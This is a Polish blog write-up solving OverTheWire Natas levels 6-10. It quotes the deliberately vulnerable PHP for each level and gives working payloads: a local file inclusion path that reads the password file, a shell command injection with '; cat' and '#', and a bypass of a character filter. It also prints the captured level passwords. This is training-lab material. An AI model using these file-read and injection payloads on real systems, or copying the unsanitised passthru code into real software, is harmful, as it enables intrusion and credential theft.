OverTheWire - Solucje Natas 6-10
Wpis jest kontynuacją rozwiązań hackme Natas na OverTheWire. Rozwiązania etapów 0-5 przedstawione zostały w tym wpisie.
Rozwiązania
Natas6
Kożystając z hasła uzyskanego na poziomie 5 logujemy się do natas6. W tym przykładzie udostępniono nam kod źródłowy skryptu. Jego zawartość:
<?
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
}
?>
Zauważamy, że zawartość zmiennej secret
porównywana jest z zawartością $secret
. Zmienna ta nie jest definiowana w ramach skryptu, jednak skrypt rozpoczyna się dyrektywą include, która wczytuje zawartość pliku includes/secret.inc
. Odwiedzając adres http://natas6.natas.labs.overthewire.org/includes/secret.inc zauważamy pustą stronę, jednak rzut oka na źródło pozwala nam poznać zawartość zmiennej $secret
.
<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>
Dzięki temu rozpoznaniu wiemy jaki tekst należy wpisać w pole tekstowe Input secret. Uzyskujemy hasło do natas7:
Access granted. The password for natas7 is 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
Natas7
Poziom prezentuje się następująco: dwa linki Home oraz About. Rzut oka na adresy linków:
- Home http://natas7.natas.labs.overthewire.org/index.php?page=home
- About http://natas7.natas.labs.overthewire.org/index.php?page=about
Badamy zatem reakcję skryptu na dane przekazane w parametrze page przekazywanego metodą GET. Odwiedziny adresu http://natas7.natas.labs.overthewire.org/index.php?page=. powodują wystąpienie ostrzeżeń:
Warning: include(/var/www/natas/natas7): failed to open stream: No such file or directory in /var/www/natas/natas7/index.php on line 21
Warning: include(): Failed opening '.' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/natas/natas7/index.php on line 21
Natomiast przekazanie w parametrze page index.php spowoduje nieskończoną pętlę. Powracając pamięcią do opisu gry zwracamy uwagę na kluczowe zdanie:
All passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the file /etc/natas_webpass/natas5 and only readable by natas4 and natas5.
Wiedząc, że skrypt otwiera zadany przez nas za pośrednictwem parametru page plik, otwórzmy plik z hasłem do kolejnego poziomu odwiedzając: http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8. Hasło do następnego poziomu to DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
.
Natas8
Poziom 8 jest nieco podobny do poprzedniego, rzućmy okiem na kod:
<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>
Tym razem przekazywane przez nas dane podawane są zakodowaniu funkcją encodeSecret()
a następnie porównywane z ciągiem 3d3d516343746d4d6d6c315669563362
. W celu uzyskania pierwotnej formy sekretu potrzebujemy funkcji odwrotnej do tej, którą zdefiniowano w zadaniu.
W tym celu napiszemy prosty skrypt w php, który wykona operacje odwrotne. Treść skryptu:
<?
$encoded = "3d3d516343746d4d6d6c315669563362";
echo base64_decode(strrev(hex2bin($encoded)));
?>
Skrypt wydrukuje następujący ciąg: oubWYf2kBq
. Teraz wystarczy użyć tak wygenerowanego kodu do uzyskania hasła.
Access granted. The password for natas9 is W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
Natas9
Tym razem zadanie wykorzystuje bezpośrednie wywołanie polecenia konsoli. Kod zadania:
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
Jeśli wyślemy niepusty ciąg zostanie on wykorzystany do wykonania komendy grep
. Kluczowym dla zadania błędem, ulokowanym w kodzie, jest brak filtrowania wprowadzonego ciągu znaków. Wprowadźmy zadem następujący tekst: ; cat
. Okazuje się, że zostaną wyświetlone wszystkie pozycje przeszukiwanego piku dictionary.txt. Przyczyna jest prosta, skrypt wywołał komendę powłoki:
grep -i ; cat dictionary
Co oznacza, że grep nie dostał żadnego pliku do przeszukania, natomiast cat wykonano na pliku dictionary.txt. Pozostaje wykorzystać tę podatność. W tym celu proponuję następujący ciąg: ; cat /etc/natas_webpass/natas10 #
. Znak # na końcu spowoduje zakomentowanie dalszej części polecenia, w tym wypadku zignoruje nazwę dictionary.txt.
Wyikiem wykonania z takim parametrem jest hasło natas10: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
.
Natas10
Zadanie jest analogiczne do poprzedniego, jednak wprowadzono filtrowanie. Spójrzmy na kod
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
?>
Główna różnica czyli filtrowanie wyraża się następująco: preg_match('/[;|&]/',$key)
. Wyrażenie regularne odfiltrowuje wykorzystany w poprzednim rozwiązaniu znak średnika oraz ampersand. Nadal jednak możemy zastosować znak # w związku z czym możemy zignorować wszystko co znajduje się po wprowadzonej przez nas treści. Pozostaje rozwiązać następujący problem: Jak wyorzystać grep w celu przeszukania pliku /etc/natas_webpass/natas11. Konstrukcja komendy grep jest następująca
grep [OPTIONS] PATTERN [FILE...]
Wykorzystajmy jako wzorzec znak kropki, która reprezentuje dowolny znak. Nasze zapytanie powinno wyglądać następująco: . /etc/natas_webpass/natas11 #
.
Dzięki wyszukaniu dowolnego znaku w pliku z hasłem otrzymujemy całe hasło: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
.